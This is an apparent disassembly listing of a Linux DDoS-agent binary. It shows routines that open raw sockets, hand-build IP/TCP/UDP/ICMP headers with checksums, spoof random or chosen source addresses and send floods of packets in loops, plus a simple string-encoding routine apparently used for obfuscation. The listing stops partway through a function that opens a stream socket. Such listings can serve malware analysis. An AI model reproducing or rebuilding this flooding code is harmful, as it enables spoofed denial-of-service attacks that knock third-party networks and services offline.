; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80499BC:				; CODE XREF: sub_0_8049564+435j
		inc	[ebp+var_680]

loc_0_80499C2:				; CODE XREF: sub_0_8049564+454j
		add	[ebp+var_688], 32h
		inc	esi
		cmp	esi, 8
		jle	loc_0_8049708
		jmp	loc_0_8049694
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_80499D8:				; CODE XREF: sub_0_8049564+103j
		mov	ds:dword_0_807E774, 0
		xor	eax, eax
		lea	esp, [ebp+var_698]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8049564	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80499F4	proc near		; CODE XREF: sub_0_8048134+74Ep

var_AC		= byte ptr -0ACh
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_90		= byte ptr -90h
var_8C		= byte ptr -8Ch
var_88		= byte ptr -88h
var_84		= byte ptr -84h
var_80		= byte ptr -80h
var_7C		= byte ptr -7Ch
var_78		= dword	ptr -78h
var_72		= word ptr -72h
var_70		= byte ptr -70h
var_50		= byte ptr -50h
var_30		= byte ptr -30h
var_2E		= word ptr -2Eh
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= byte ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= byte ptr  20h
arg_1C		= byte ptr  24h
arg_20		= byte ptr  28h
arg_24		= byte ptr  2Ch
arg_28		= dword	ptr  30h
arg_2C		= dword	ptr  34h

		push	ebp
		mov	ebp, esp
		sub	esp, 0A0h
		push	edi
		push	esi
		push	ebx
		mov	cl, [ebp+arg_8]
		mov	[ebp+var_7C], cl
		mov	cl, [ebp+arg_C]
		mov	[ebp+var_80], cl
		mov	cl, [ebp+arg_10]
		mov	[ebp+var_84], cl
		mov	cl, [ebp+arg_14]
		mov	[ebp+var_88], cl
		mov	cl, [ebp+arg_18]
		mov	[ebp+var_8C], cl
		mov	cl, [ebp+arg_1C]
		mov	[ebp+var_90], cl
		mov	cl, [ebp+arg_20]
		mov	[ebp+var_94], cl
		mov	bl, [ebp+arg_24]
		mov	[ebp+var_10], 2
		call	sub_0_8055E38
		mov	ecx, 0FFh
		cdq	
		idiv	ecx
		mov	eax, edx
		xchg	al, ah
		mov	[ebp+var_E], ax
		call	sprintf(var_70,'%d.%d.%d.%d',var_8c,var_90,var_94,bl)
		add	esp, 18h
		cmp	[ebp+arg_28], 0
		jnz	short loc_0_8049ABE
		call	sprintf(var_50,'%d.%d.%d.%d',var_7c,var_80,var_84,var_88)
		push	ebx
		call	sub_0_804CE8C
		mov	[ebp+var_C], eax
		add	esp, 1Ch

loc_0_8049ABE:				; CODE XREF: sub_0_80499F4+94j
		call	socket(AF_INET,SOCK_RAW,255)
		mov	[ebp+var_98], eax
		test	eax, eax
		jle	loc_0_8049D24
		mov	[ebp+var_30], 45h
		mov	[ebp+var_2E], 1C28h
		mov	[ebp+var_2C], 5504h
		call	sub_0_8055E38
		mov	ecx, 82h
		cdq	
		idiv	ecx
		add	dl, 78h
		mov	[ebp+var_28], dl
		push	esi
		call	sub_0_804CE8C
		mov	[ebp+var_24], eax
		add	esp, 4
		cmp	[ebp+arg_28], 0
		jnz	short loc_0_8049B21
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_0_804CE8C
		mov	[ebp+var_20], eax
		add	esp, 4

loc_0_8049B21:				; CODE XREF: sub_0_80499F4+11Cj
		mov	[ebp+var_2A], 0FE1Fh
		mov	[ebp+var_26], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_0_8049BB0
		mov	[ebp+var_27], 11h
		call	sub_0_8055E38
		mov	ecx, 0FFh
		cdq	
		idiv	ecx
		mov	eax, edx
		xchg	al, ah
		mov	[ebp+var_1C], ax
		mov	ax, [ebp+arg_4]
		xchg	al, ah
		mov	[ebp+var_1A], ax
		mov	[ebp+var_18], 900h
		mov	edx, 9
		lea	esi, [ebp+var_1C]
		xor	ebx, ebx
		mov	[ebp+var_72], 0

loc_0_8049B6C:				; CODE XREF: sub_0_80499F4+186j
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_8049B6C
		jnz	short loc_0_8049B89
		mov	al, [esi]
		mov	byte ptr [ebp+var_72], al
		movzx	eax, [ebp+var_72]
		add	ebx, eax

loc_0_8049B89:				; CODE XREF: sub_0_80499F4+188j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_72], ax
		mov	[ebp+var_16], ax
		mov	[ebp+var_14], 61h
		jmp	short loc_0_8049C10
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049BB0:				; CODE XREF: sub_0_80499F4+13Dj
		mov	[ebp+var_27], 1
		mov	byte ptr [ebp+var_1C], 8
		mov	byte ptr [ebp+var_1C+1], 0
		mov	[ebp+var_1A], 0
		mov	edx, 9
		lea	esi, [ebp+var_1C]
		xor	ebx, ebx
		mov	[ebp+var_72], 0
		lea	esi, [esi]

loc_0_8049BD4:				; CODE XREF: sub_0_80499F4+1EEj
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_8049BD4
		jnz	short loc_0_8049BF1
		mov	al, [esi]
		mov	byte ptr [ebp+var_72], al
		movzx	eax, [ebp+var_72]
		add	ebx, eax

loc_0_8049BF1:				; CODE XREF: sub_0_80499F4+1F0j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_72], ax
		mov	[ebp+var_1A], ax

loc_0_8049C10:				; CODE XREF: sub_0_80499F4+1B8j
		mov	[ebp+var_9C], 1Dh
		mov	edx, 14h
		lea	esi, [ebp+var_30]
		xor	ebx, ebx
		mov	[ebp+var_72], 0
		lea	esi, [esi]

loc_0_8049C2C:				; CODE XREF: sub_0_80499F4+246j
		movzx	eax, word ptr [esi]
		add	ebx, eax
		add	esi, 2
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_8049C2C
		jnz	short loc_0_8049C49
		mov	al, [esi]
		mov	byte ptr [ebp+var_72], al
		movzx	eax, [ebp+var_72]
		add	ebx, eax

loc_0_8049C49:				; CODE XREF: sub_0_80499F4+248j
		mov	edx, ebx
		sar	edx, 10h
		movzx	eax, bx
		lea	ebx, [eax+edx]
		mov	eax, ebx
		sar	eax, 10h
		add	ebx, eax
		mov	eax, ebx
		not	ax
		mov	[ebp+var_72], ax
		mov	[ebp+var_26], ax
		xor	ebx, ebx
		lea	ecx, [ebp+var_10]
		mov	[ebp+var_A0], ecx
		lea	edi, [ebp+var_30]
		lea	esi, [esi]

loc_0_8049C78:				; CODE XREF: sub_0_80499F4+32Aj
		xor	esi, esi
		cmp	[ebp+arg_28], 0
		jz	short loc_0_8049CCE
		test	ebx, ebx
		jg	short loc_0_8049CCE
		mov	ecx, [ebp+arg_2C]
		push	ecx
		call	sub_0_804BF80
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_0_8049CAC
		call	sleep(600)
		mov	esi, 1
		jmp	short loc_0_8049CCE
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049CAC:				; CODE XREF: sub_0_80499F4+2A0j
		mov	eax, [edx+10h]
		call	memmove2([eax],var_78,4)
		mov	eax, [ebp+var_78]
		mov	[ebp+var_20], eax
		mov	[ebp+var_C], eax
		mov	ebx, 9C40h

loc_0_8049CCE:				; CODE XREF: sub_0_80499F4+28Aj
					; sub_0_80499F4+28Ej ...
		test	esi, esi
		jnz	short loc_0_8049D1D
		call	sendto(var_98,edi,var_9c,0,var_a0,16)
		call	sendto(var_98,edi,var_9c,0,var_a0,16)
		call	usleep(20)

loc_0_8049D1D:				; CODE XREF: sub_0_80499F4+2DCj
		dec	ebx
		jmp	loc_0_8049C78
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049D24:				; CODE XREF: sub_0_80499F4+E3j
		mov	ds:dword_0_807E774, 0
		xor	eax, eax
		lea	esp, [ebp+var_AC]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80499F4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8049D40	proc near		; CODE XREF: sub_0_8048134+BC4p
					; sub_0_8048134+C9Ep

var_D8		= byte ptr -0D8h
var_CC		= dword	ptr -0CCh
var_C8		= byte ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B4		= byte ptr -0B4h
var_B0		= byte ptr -0B0h
var_AC		= byte ptr -0ACh
var_A8		= byte ptr -0A8h
var_A4		= byte ptr -0A4h
var_9E		= word ptr -9Eh
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_78		= byte ptr -78h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= word ptr -4Eh
var_4C		= byte ptr -4Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_36		= word ptr -36h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= word ptr -2Eh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= byte ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_14		= word ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= byte ptr  24h
arg_20		= byte ptr  28h
arg_24		= byte ptr  2Ch
arg_28		= byte ptr  30h
arg_2C		= dword	ptr  34h
arg_30		= dword	ptr  38h
arg_34		= dword	ptr  3Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		push	edi
		push	esi
		push	ebx
		mov	bl, [ebp+arg_0]
		mov	[ebp+var_A4], bl
		mov	bl, [ebp+arg_4]
		mov	[ebp+var_A8], bl
		mov	bl, [ebp+arg_8]
		mov	[ebp+var_AC], bl
		mov	bl, [ebp+arg_C]
		mov	[ebp+var_C8], bl
		mov	bl, [ebp+arg_1C]
		mov	[ebp+var_B0], bl
		mov	bl, [ebp+arg_20]
		mov	[ebp+var_B4], bl
		mov	bl, [ebp+arg_24]
		mov	[ebp+var_B8], bl
		mov	bl, [ebp+arg_28]
		mov	[ebp+var_BC], bl
		cmp	[ebp+arg_2C], 0
		jz	short loc_0_8049D9D
		dec	[ebp+arg_2C]

loc_0_8049D9D:				; CODE XREF: sub_0_8049D40+58j
		call	time(0)
		call	rand(eax)
		mov	[ebp+var_10], 2
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		mov	eax, edx
		xchg	al, ah
		mov	[ebp+var_E], ax
		cmp	[ebp+arg_30], 0
		jnz	short loc_0_8049E0B
		call	sprintf(var_78,'%d.%d.%d.%d',var_a4,var_a8,var_ac,var_c8)
		push	ebx
		call	sub_0_804CE8C
		mov	[ebp+var_C], eax
		add	esp, 1Ch

loc_0_8049E0B:				; CODE XREF: sub_0_8049D40+8Fj
		mov	[ebp+var_38], 45h
		mov	[ebp+var_36], 2800h
		mov	[ebp+var_37], 0
		call	socket(AF_INET,SOCK_RAW,255)
		mov	[ebp+var_C0], eax
		test	eax, eax
		jle	loc_0_804A178
		cmp	[ebp+arg_18], 0
		jz	short loc_0_8049E72
		call	sprintf(var_98,'%d.%d.%d.%d',var_b0,var_b4,var_b8,var_bc)
		add	esp, 18h

loc_0_8049E72:				; CODE XREF: sub_0_8049D40+FCj
		cmp	[ebp+arg_30], 0
		jnz	short loc_0_8049E87
		lea	eax, [ebp+var_78]
		push	eax
		call	sub_0_804CE8C
		mov	[ebp+var_28], eax
		add	esp, 4

loc_0_8049E87:				; CODE XREF: sub_0_8049D40+136j
		mov	[ebp+var_32], 0
		mov	[ebp+var_2F], 6
		mov	al, [ebp+var_17]
		and	al, 0EFh
		mov	[ebp+var_17], al
		mov	al, [ebp+var_18]
		and	al, 0Fh
		or	al, 50h
		mov	[ebp+var_18], al
		mov	[ebp+var_1C], 0
		and	al, 50h
		mov	[ebp+var_18], al
		mov	[ebp+var_17], 2
		mov	[ebp+var_12], 0
		mov	eax, [ebp+arg_10]
		shl	eax, 8
		add	ax, [ebp+arg_14]
		xchg	al, ah
		mov	[ebp+var_22], ax
		xor	edi, edi
		mov	[ebp+var_50], 0
		cmp	[ebp+arg_30], 0
		jnz	short loc_0_8049EDB
		mov	eax, [ebp+var_28]
		mov	[ebp+var_54], eax

loc_0_8049EDB:				; CODE XREF: sub_0_8049D40+193j
		mov	[ebp+var_4F], 6
		mov	[ebp+var_4E], 1400h
		xor	esi, esi
		lea	ebx, [ebp+var_58]
		mov	[ebp+var_C4], ebx

loc_0_8049EF0:				; CODE XREF: sub_0_8049D40+222j
					; sub_0_8049D40+429j ...
		mov	[ebp+var_CC], 0
		cmp	[ebp+arg_30], 0
		jz	short loc_0_8049F5B
		test	esi, esi
		jg	short loc_0_8049F5B
		mov	ebx, [ebp+arg_34]
		push	ebx
		call	sub_0_804BF80
		mov	edx, eax
		add	esp, 4
		test	edx, edx
		jnz	short loc_0_8049F30
		call	sleep(600)
		mov	[ebp+var_CC], 1
		jmp	short loc_0_8049F5B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8049F30:				; CODE XREF: sub_0_8049D40+1D4j
		mov	eax, [edx+10h]
		call	memmove2([eax],var_9C,4)
		mov	eax, [ebp+var_9C]
		mov	[ebp+var_28], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_54], eax
		mov	esi, 9C40h
		add	esp, 0Ch

loc_0_8049F5B:				; CODE XREF: sub_0_8049D40+1BEj
					; sub_0_8049D40+1C2j ...
		cmp	[ebp+var_CC], 0
		jnz	short loc_0_8049EF0
		call	sub_0_8056058
		mov	ebx, 0C11h
		cdq	
		idiv	ebx
		mov	eax, edx
		add	ah, 2
		xchg	al, ah
		mov	[ebp+var_34], ax
		call	sub_0_8056058
		mov	ebx, 579h
		cdq	
		idiv	ebx
		mov	eax, edx
		add	ax, 0C8h
		xchg	al, ah
		mov	[ebp+var_16], ax
		call	sub_0_8056058
		mov	ebx, 9C40h
		cdq	
		idiv	ebx
		mov	eax, edx
		inc	ax
		xchg	al, ah
		mov	[ebp+var_24], ax
		call	sub_0_8056058
		mov	ebx, 2625A00h
		cdq	
		idiv	ebx
		lea	eax, [edx+1]
		xchg	al, ah
		ror	eax, 10h
		xchg	al, ah
		mov	[ebp+var_20], eax
		call	sub_0_8056058
		mov	ebx, 74h
		cdq	
		idiv	ebx
		add	dl, 7Dh
		mov	[ebp+var_30], dl
		cmp	[ebp+arg_18], 0
		jnz	short loc_0_804A01C
		call	sub_0_8055E38
		mov	ebx, 0FFh
		cdq	
		idiv	ebx
		push	edx
		call	sub_0_8055E38
		cdq	
		idiv	ebx
		push	edx
		call	sub_0_8055E38
		cdq	
		idiv	ebx
		push	edx
		call	sub_0_8055E38
		cdq	
		idiv	ebx
		push	edx
		call	sprintf(var_98,'%u.%u.%u.%u',...)
		add	esp, 18h

loc_0_804A01C:				; CODE XREF: sub_0_8049D40+29Dj
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_0_804CE8C
		mov	[ebp+var_2C], eax
		mov	[ebp+var_58], eax
		mov	[ebp+var_14], 0
		mov	[ebp+var_2E], 0
		call	memmove2(var_24,var_4C,20)
		add	esp, 10h
		mov	edx, 20h
		mov	ebx, [ebp+var_C4]
		mov	[ebp+var_CC], ebx
		xor	ecx, ecx
		mov	[ebp+var_9E], 0

loc_0_804A068:				; CODE XREF: sub_0_8049D40+342j
		mov	ebx, [ebp+var_CC]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_CC], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_804A068
		jnz	short loc_0_804A097
		mov	al, [ebx]
		mov	byte ptr [ebp+var_9E], al
		movzx	eax, [ebp+var_9E]
		add	ecx, eax

loc_0_804A097:				; CODE XREF: sub_0_8049D40+344j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_9E], ax
		mov	[ebp+var_14], ax
		mov	edx, 14h
		lea	ebx, [ebp+var_38]
		mov	[ebp+var_CC], ebx
		xor	ecx, ecx
		mov	[ebp+var_9E], 0
		lea	esi, [esi]

loc_0_804A0D4:				; CODE XREF: sub_0_8049D40+3AEj
		mov	ebx, [ebp+var_CC]
		movzx	eax, word ptr [ebx]
		add	ecx, eax
		add	ebx, 2
		mov	[ebp+var_CC], ebx
		add	edx, 0FFFFFFFEh
		cmp	edx, 1
		jg	short loc_0_804A0D4
		jnz	short loc_0_804A103
		mov	al, [ebx]
		mov	byte ptr [ebp+var_9E], al
		movzx	eax, [ebp+var_9E]
		add	ecx, eax

loc_0_804A103:				; CODE XREF: sub_0_8049D40+3B0j
		mov	edx, ecx
		sar	edx, 10h
		movzx	eax, cx
		lea	ecx, [eax+edx]
		mov	eax, ecx
		sar	eax, 10h
		add	ecx, eax
		mov	eax, ecx
		not	ax
		mov	[ebp+var_9E], ax
		mov	[ebp+var_2E], ax
		call	sendto(var_c0,var_38,40,0,var_10,16)
		cmp	[ebp+arg_2C], 0
		jnz	short loc_0_804A154
		call	usleep(300)
		jmp	short loc_0_804A165
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_804A154:				; CODE XREF: sub_0_8049D40+406j
		cmp	[ebp+arg_2C], edi
		jnz	short loc_0_804A170
		call	usleep(300)
		xor	edi, edi

loc_0_804A165:				; CODE XREF: sub_0_8049D40+412j
		dec	esi
		add	esp, 4
		jmp	loc_0_8049EF0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804A170:				; CODE XREF: sub_0_8049D40+417j
		inc	edi
		jmp	loc_0_8049EF0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804A178:				; CODE XREF: sub_0_8049D40+F2j
		mov	ds:dword_0_807E774, 0
		xor	eax, eax
		lea	esp, [ebp+var_D8]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8049D40	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804A194	proc near		; CODE XREF: sub_0_8048134+286p
					; sub_0_8048134+582p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		mov	al, ds:byte_0_80675E5
		mov	[ebx], al
		mov	al, [esi]
		add	al, 17h
		movsx	eax, al
		call	sprintf(&ebx,'%c',eax)
		mov	ecx, 1
		cmp	ecx, edi
		jz	short loc_0_804A1DD
		nop	

loc_0_804A1C8:				; CODE XREF: sub_0_804A194+47j
		movzx	edx, byte ptr [ebx+ecx-1]
		movzx	eax, byte ptr [ecx+esi]
		lea	eax, [edx+eax+17h]
		mov	[ecx+ebx], al
		inc	ecx
		cmp	ecx, edi
		jnz	short loc_0_804A1C8

loc_0_804A1DD:				; CODE XREF: sub_0_804A194+31j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804A194	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804A1E8	proc near		; CODE XREF: sub_0_8048134+1D8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		lea	ebx, [edi-1]
		lea	eax, [edi+3]
		and	al, 0FCh
		sub	esp, eax
		mov	[ebp+var_4], esp
		mov	al, ds:byte_0_80675E5
		mov	esi, [ebp+arg_8]
		mov	[esi], al
		test	ebx, ebx
		jl	loc_0_804A29B

loc_0_804A214:				; CODE XREF: sub_0_804A1E8+ADj
		lea	edx, [ebx-1]
		test	ebx, ebx
		jz	short loc_0_804A22C
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [ebx+esi]
		movzx	edx, byte ptr [edx+esi]
		sub	eax, edx
		jmp	short loc_0_804A232
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_804A22C:				; CODE XREF: sub_0_804A1E8+31j
		mov	esi, [ebp+arg_4]
		movzx	eax, byte ptr [esi]

loc_0_804A232:				; CODE XREF: sub_0_804A1E8+40j
		lea	ecx, [eax-17h]
		test	ecx, ecx
		jge	short loc_0_804A244
		lea	esi, [esi+0]

loc_0_804A23C:				; CODE XREF: sub_0_804A1E8+5Aj
		add	ecx, 100h
		js	short loc_0_804A23C

loc_0_804A244:				; CODE XREF: sub_0_804A1E8+4Fj
		xor	edx, edx
		cmp	edx, edi
		jge	short loc_0_804A25D
		lea	esi, [esi]

loc_0_804A24C:				; CODE XREF: sub_0_804A1E8+73j
		mov	esi, [ebp+arg_8]
		mov	al, [edx+esi]
		mov	esi, [ebp+var_4]
		mov	[edx+esi], al
		inc	edx
		cmp	edx, edi
		jl	short loc_0_804A24C

loc_0_804A25D:				; CODE XREF: sub_0_804A1E8+60j
		mov	esi, [ebp+arg_8]
		mov	[esi], cl
		mov	edx, 1
		cmp	edx, edi
		jge	short loc_0_804A27E
		nop	

loc_0_804A26C:				; CODE XREF: sub_0_804A1E8+94j
		mov	esi, [ebp+var_4]
		mov	al, [edx+esi-1]
		mov	esi, [ebp+arg_8]
		mov	[edx+esi], al
		inc	edx
		cmp	edx, edi
		jl	short loc_0_804A26C

loc_0_804A27E:				; CODE XREF: sub_0_804A1E8+81j
		call	sprintf(arg_8,'%c%s',ecx,var_4)
		add	esp, 10h
		dec	ebx
		jns	loc_0_804A214

loc_0_804A29B:				; CODE XREF: sub_0_804A1E8+26j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804A1E8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804A4F4	proc near		; CODE XREF: sub_0_804A580+14p
					; sub_0_804A580+2Cp ...

var_14		= byte ptr -14h
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		xor	esi, esi
		cmp	dword_0_8078520, esi
		jle	short loc_0_804A574
		nop	

loc_0_804A508:				; CODE XREF: sub_0_804A4F4+7Ej
		mov	eax, ds:dword_0_807A348[esi*4]
		mov	[ebp+var_8], eax
		mov	ebx, strlen(var_8)
		mov	ecx, strlen(arg_0)
		cmp	ecx, ebx
		jle	short loc_0_804A56B
		add	ecx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, ebx
		call	strcasecmp(eax,var_8)
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_0_804A56B
		mov	edx,strlen(arg_0)
		sub	edx, ebx
		mov	eax, [ebp+arg_0]
		mov	byte ptr [edx+eax], 0

loc_0_804A56B:				; CODE XREF: sub_0_804A4F4+40j
					; sub_0_804A4F4+5Aj
		inc	esi
		cmp	dword_0_8078520, esi
		jg	short loc_0_804A508

loc_0_804A574:				; CODE XREF: sub_0_804A4F4+11j
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804A4F4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804A580	proc near		; CODE XREF: sub_0_804BF80+285p
					; .text:0804C4B5p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		cmp	dword_0_8078520, 0
		jz	short loc_0_804A5BE
		mov	eax, [esi]
		push	eax
		call	sub_0_804A4F4
		xor	ebx, ebx
		add	esp, 4
		mov	eax, [esi+4]
		cmp	dword ptr [eax], 0
		jz	short loc_0_804A5BE
		lea	esi, [esi]

loc_0_804A5A8:				; CODE XREF: sub_0_804A580+3Cj
		mov	eax, [eax+ebx*4]
		push	eax
		call	sub_0_804A4F4
		add	esp, 4
		inc	ebx
		mov	eax, [esi+4]
		cmp	dword ptr [eax+ebx*4], 0
		jnz	short loc_0_804A5A8

loc_0_804A5BE:				; CODE XREF: sub_0_804A580+Fj
					; sub_0_804A580+24j
		mov	eax, esi
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_804A580	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_804A5CC	proc near		; CODE XREF: .text:0804BF0Ep
					; .text:0804BF40p ...

var_174		= byte ptr -174h
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= byte ptr -140h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 168h
		push	edi
		push	esi
		push	ebx
		cmp	dword_0_8078524, 0
		jz	loc_0_804A9C9
		cmp	[ebp+arg_0], 0
		jz	loc_0_804A9C9
		cmp	dword_0_8078524, 0FFFFFFFFh
		jnz	loc_0_804A8F7
		call	socket(AF_INET,SOCK_STREAM,0)
		mov	[ebp+var_150], eax
